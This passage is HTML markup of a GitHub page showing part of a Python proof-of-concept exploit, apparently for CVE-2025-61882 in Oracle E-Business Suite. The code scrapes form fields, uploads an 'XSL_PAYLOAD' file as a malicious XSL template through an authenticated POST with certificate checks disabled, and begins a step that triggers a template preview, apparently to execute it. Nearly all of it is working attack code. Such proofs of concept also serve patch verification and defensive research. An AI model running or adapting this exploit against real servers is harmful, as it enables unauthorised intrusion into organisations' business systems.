        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L225" class="blob-num js-line-number js-blob-rnum" data-line-number="225"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC225" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L226" class="blob-num js-line-number js-blob-rnum" data-line-number="226"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC226" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">temp_type_val</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L227" class="blob-num js-line-number js-blob-rnum" data-line-number="227"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC227" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Warning: Could not find XSL-HTML option in TempType."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L228" class="blob-num js-line-number js-blob-rnum" data-line-number="228"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC228" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L229" class="blob-num js-line-number js-blob-rnum" data-line-number="229"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC229" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">def_out_val</span> <span class="pl-c1">=</span> <span class="pl-s">""</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L230" class="blob-num js-line-number js-blob-rnum" data-line-number="230"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC230" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">def_out_select</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'select'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'DefaultOutputType'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L231" class="blob-num js-line-number js-blob-rnum" data-line-number="231"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC231" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">def_out_select</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L232" class="blob-num js-line-number js-blob-rnum" data-line-number="232"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC232" class="blob-code blob-code-inner js-file-line">         <span class="pl-k">for</span> <span class="pl-s1">option</span> <span class="pl-c1">in</span> <span class="pl-s1">def_out_select</span>.<span class="pl-c1">find_all</span>(<span class="pl-s">'option'</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L233" class="blob-num js-line-number js-blob-rnum" data-line-number="233"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC233" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">if</span> <span class="pl-s">"PDF"</span> <span class="pl-c1">in</span> <span class="pl-s1">option</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L234" class="blob-num js-line-number js-blob-rnum" data-line-number="234"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC234" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">def_out_val</span> <span class="pl-c1">=</span> <span class="pl-s1">option</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L235" class="blob-num js-line-number js-blob-rnum" data-line-number="235"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC235" class="blob-code blob-code-inner js-file-line">                <span class="pl-k">break</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L236" class="blob-num js-line-number js-blob-rnum" data-line-number="236"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC236" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L237" class="blob-num js-line-number js-blob-rnum" data-line-number="237"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC237" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">apply_btn_id</span> <span class="pl-c1">=</span> <span class="pl-s">"ApplyButton"</span> </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L238" class="blob-num js-line-number js-blob-rnum" data-line-number="238"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC238" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">apply_btn</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'button'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'ApplyButton'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L239" class="blob-num js-line-number js-blob-rnum" data-line-number="239"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC239" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">apply_btn</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L240" class="blob-num js-line-number js-blob-rnum" data-line-number="240"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC240" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">onclick_text</span> <span class="pl-c1">=</span> <span class="pl-s1">apply_btn</span>.<span class="pl-c1">get</span>(<span class="pl-s">'onclick'</span>, <span class="pl-s">''</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L241" class="blob-num js-line-number js-blob-rnum" data-line-number="241"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC241" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">match</span> <span class="pl-c1">=</span> <span class="pl-s1">re</span>.<span class="pl-c1">search</span>(<span class="pl-s">r"'_FORM_SUBMIT_BUTTON':'([^']+)'"</span>, <span class="pl-s1">onclick_text</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L242" class="blob-num js-line-number js-blob-rnum" data-line-number="242"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC242" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">match</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L243" class="blob-num js-line-number js-blob-rnum" data-line-number="243"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC243" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">apply_btn_id</span> <span class="pl-c1">=</span> <span class="pl-s1">match</span>.<span class="pl-c1">group</span>(<span class="pl-c1">1</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L244" class="blob-num js-line-number js-blob-rnum" data-line-number="244"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC244" class="blob-code blob-code-inner js-file-line">            <span class="pl-c"># print(f"[+] Found Apply Button ID: {apply_btn_id}")</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L245" class="blob-num js-line-number js-blob-rnum" data-line-number="245"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC245" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L246" class="blob-num js-line-number js-blob-rnum" data-line-number="246"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC246" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">payload</span>.<span class="pl-c1">update</span>({</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L247" class="blob-num js-line-number js-blob-rnum" data-line-number="247"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC247" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'TempName'</span>: <span class="pl-c1">TEMPLATE_NAME</span>,   </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L248" class="blob-num js-line-number js-blob-rnum" data-line-number="248"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC248" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'TemplateCode'</span>: <span class="pl-c1">TEMPLATE_NAME</span>,      </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L249" class="blob-num js-line-number js-blob-rnum" data-line-number="249"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC249" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'ApplicationName'</span>: <span class="pl-s">'Application Report Generator'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L250" class="blob-num js-line-number js-blob-rnum" data-line-number="250"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC250" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'ApplicationId'</span>: <span class="pl-s">'168'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L251" class="blob-num js-line-number js-blob-rnum" data-line-number="251"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC251" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'ApplicationShortName'</span>: <span class="pl-s">'RG'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L252" class="blob-num js-line-number js-blob-rnum" data-line-number="252"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC252" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'DsDataSourceName'</span>: <span class="pl-s">'FSG program'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L253" class="blob-num js-line-number js-blob-rnum" data-line-number="253"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC253" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'TempType'</span>: <span class="pl-s1">temp_type_val</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L254" class="blob-num js-line-number js-blob-rnum" data-line-number="254"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC254" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'StartDate'</span>: <span class="pl-s">'14-Jan-2000'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L255" class="blob-num js-line-number js-blob-rnum" data-line-number="255"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC255" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'LanguageName'</span>: <span class="pl-s">'English'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L256" class="blob-num js-line-number js-blob-rnum" data-line-number="256"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC256" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'DefaultOutputType'</span>: <span class="pl-s1">def_out_val</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L257" class="blob-num js-line-number js-blob-rnum" data-line-number="257"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC257" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'_FORM_SUBMIT_BUTTON'</span>: <span class="pl-s1">apply_btn_id</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L258" class="blob-num js-line-number js-blob-rnum" data-line-number="258"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC258" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'event'</span>: <span class="pl-s">''</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L259" class="blob-num js-line-number js-blob-rnum" data-line-number="259"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC259" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'source'</span>: <span class="pl-s">''</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L260" class="blob-num js-line-number js-blob-rnum" data-line-number="260"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC260" class="blob-code blob-code-inner js-file-line">    })</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L261" class="blob-num js-line-number js-blob-rnum" data-line-number="261"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC261" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L262" class="blob-num js-line-number js-blob-rnum" data-line-number="262"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC262" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">files</span> <span class="pl-c1">=</span> {</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L263" class="blob-num js-line-number js-blob-rnum" data-line-number="263"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC263" class="blob-code blob-code-inner js-file-line">        <span class="pl-s">'AttachData_oafileUpload'</span>: (<span class="pl-s">'payload.xsl'</span>, <span class="pl-c1">XSL_PAYLOAD</span>, <span class="pl-s">'text/xml'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L264" class="blob-num js-line-number js-blob-rnum" data-line-number="264"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC264" class="blob-code blob-code-inner js-file-line">    }</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L265" class="blob-num js-line-number js-blob-rnum" data-line-number="265"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC265" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L266" class="blob-num js-line-number js-blob-rnum" data-line-number="266"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC266" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">f"[*] Sending POST request to create XSL template '<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-c1">TEMPLATE_NAME</span><span class="pl-kos">}</span></span>'..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L267" class="blob-num js-line-number js-blob-rnum" data-line-number="267"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC267" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L268" class="blob-num js-line-number js-blob-rnum" data-line-number="268"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC268" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">headers_step3</span> <span class="pl-c1">=</span> <span class="pl-c1">HEADERS</span>.<span class="pl-c1">copy</span>()</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L269" class="blob-num js-line-number js-blob-rnum" data-line-number="269"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC269" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s">"Content-Type"</span> <span class="pl-c1">in</span> <span class="pl-s1">headers_step3</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L270" class="blob-num js-line-number js-blob-rnum" data-line-number="270"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC270" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">del</span> <span class="pl-s1">headers_step3</span>[<span class="pl-s">"Content-Type"</span>]</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L271" class="blob-num js-line-number js-blob-rnum" data-line-number="271"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC271" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L272" class="blob-num js-line-number js-blob-rnum" data-line-number="272"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC272" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L273" class="blob-num js-line-number js-blob-rnum" data-line-number="273"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC273" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">post</span>(<span class="pl-s1">full_url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-s1">headers_step3</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-c1">COOKIES</span>, <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">payload</span>, <span class="pl-s1">files</span><span class="pl-c1">=</span><span class="pl-s1">files</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L274" class="blob-num js-line-number js-blob-rnum" data-line-number="274"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC274" class="blob-code blob-code-inner js-file-line">                </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L275" class="blob-num js-line-number js-blob-rnum" data-line-number="275"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC275" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s">"successfully created"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L276" class="blob-num js-line-number js-blob-rnum" data-line-number="276"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC276" class="blob-code blob-code-inner js-file-line">             <span class="pl-en">print</span>(<span class="pl-s">"[+] XSL Template successfully created!"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L277" class="blob-num js-line-number js-blob-rnum" data-line-number="277"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC277" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L278" class="blob-num js-line-number js-blob-rnum" data-line-number="278"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC278" class="blob-code blob-code-inner js-file-line">             <span class="pl-en">print</span>(<span class="pl-s">"[-] Application returned an error."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L279" class="blob-num js-line-number js-blob-rnum" data-line-number="279"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC279" class="blob-code blob-code-inner js-file-line">             </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L280" class="blob-num js-line-number js-blob-rnum" data-line-number="280"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC280" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L281" class="blob-num js-line-number js-blob-rnum" data-line-number="281"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC281" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L282" class="blob-num js-line-number js-blob-rnum" data-line-number="282"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC282" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-v">Exception</span> <span class="pl-k">as</span> <span class="pl-s1">e</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L283" class="blob-num js-line-number js-blob-rnum" data-line-number="283"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC283" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">f"[-] Request failed: <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">e</span><span class="pl-kos">}</span></span>"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L284" class="blob-num js-line-number js-blob-rnum" data-line-number="284"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC284" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L285" class="blob-num js-line-number js-blob-rnum" data-line-number="285"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC285" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">step_4</span>(<span class="pl-s1">url</span>, <span class="pl-s1">html_content</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L286" class="blob-num js-line-number js-blob-rnum" data-line-number="286"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC286" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Starting Step 4: Triggering Template Preview..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L287" class="blob-num js-line-number js-blob-rnum" data-line-number="287"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC287" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">soup</span> <span class="pl-c1">=</span> <span class="pl-en">BeautifulSoup</span>(<span class="pl-s1">html_content</span>, <span class="pl-s">'html.parser'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L288" class="blob-num js-line-number js-blob-rnum" data-line-number="288"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC288" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L289" class="blob-num js-line-number js-blob-rnum" data-line-number="289"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC289" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">form</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'form'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'DefaultFormName'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L290" class="blob-num js-line-number js-blob-rnum" data-line-number="290"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC290" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">form</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L291" class="blob-num js-line-number js-blob-rnum" data-line-number="291"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC291" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Error: Cannot find form DefaultFormName"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L292" class="blob-num js-line-number js-blob-rnum" data-line-number="292"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC292" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L293" class="blob-num js-line-number js-blob-rnum" data-line-number="293"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC293" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L294" class="blob-num js-line-number js-blob-rnum" data-line-number="294"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC294" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">action_url</span> <span class="pl-c1">=</span> <span class="pl-s1">form</span>.<span class="pl-c1">get</span>(<span class="pl-s">'action'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L295" class="blob-num js-line-number js-blob-rnum" data-line-number="295"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC295" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">action_url</span>.<span class="pl-c1">startswith</span>(<span class="pl-s">"/"</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L296" class="blob-num js-line-number js-blob-rnum" data-line-number="296"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC296" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span><span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">action_url</span><span class="pl-kos">}</span></span>"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L297" class="blob-num js-line-number js-blob-rnum" data-line-number="297"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC297" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L298" class="blob-num js-line-number js-blob-rnum" data-line-number="298"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC298" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s1">action_url</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L299" class="blob-num js-line-number js-blob-rnum" data-line-number="299"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC299" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L300" class="blob-num js-line-number js-blob-rnum" data-line-number="300"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC300" class="blob-code blob-code-inner js-file-line">    <span class="pl-c"># print(f"[+] Form Action: {full_url}")</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L301" class="blob-num js-line-number js-blob-rnum" data-line-number="301"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC301" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L302" class="blob-num js-line-number js-blob-rnum" data-line-number="302"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC302" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">payload</span> <span class="pl-c1">=</span> {}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L303" class="blob-num js-line-number js-blob-rnum" data-line-number="303"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC303" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">for</span> <span class="pl-s1">tag</span> <span class="pl-c1">in</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find_all</span>(<span class="pl-s">'input'</span>, <span class="pl-s1">type</span><span class="pl-c1">=</span><span class="pl-s">'hidden'</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L304" class="blob-num js-line-number js-blob-rnum" data-line-number="304"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC304" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">name</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'name'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L305" class="blob-num js-line-number js-blob-rnum" data-line-number="305"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC305" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">value</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>, <span class="pl-s">''</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L306" class="blob-num js-line-number js-blob-rnum" data-line-number="306"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC306" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">name</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L307" class="blob-num js-line-number js-blob-rnum" data-line-number="307"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC307" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s1">name</span>] <span class="pl-c1">=</span> <span class="pl-s1">value</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L308" class="blob-num js-line-number js-blob-rnum" data-line-number="308"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC308" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L309" class="blob-num js-line-number js-blob-rnum" data-line-number="309"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC309" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">preview_link</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'a'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'N3:PreviewEnabled:0'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L310" class="blob-num js-line-number js-blob-rnum" data-line-number="310"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC310" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">preview_link</span>:</td>
        </tr>
        <tr>
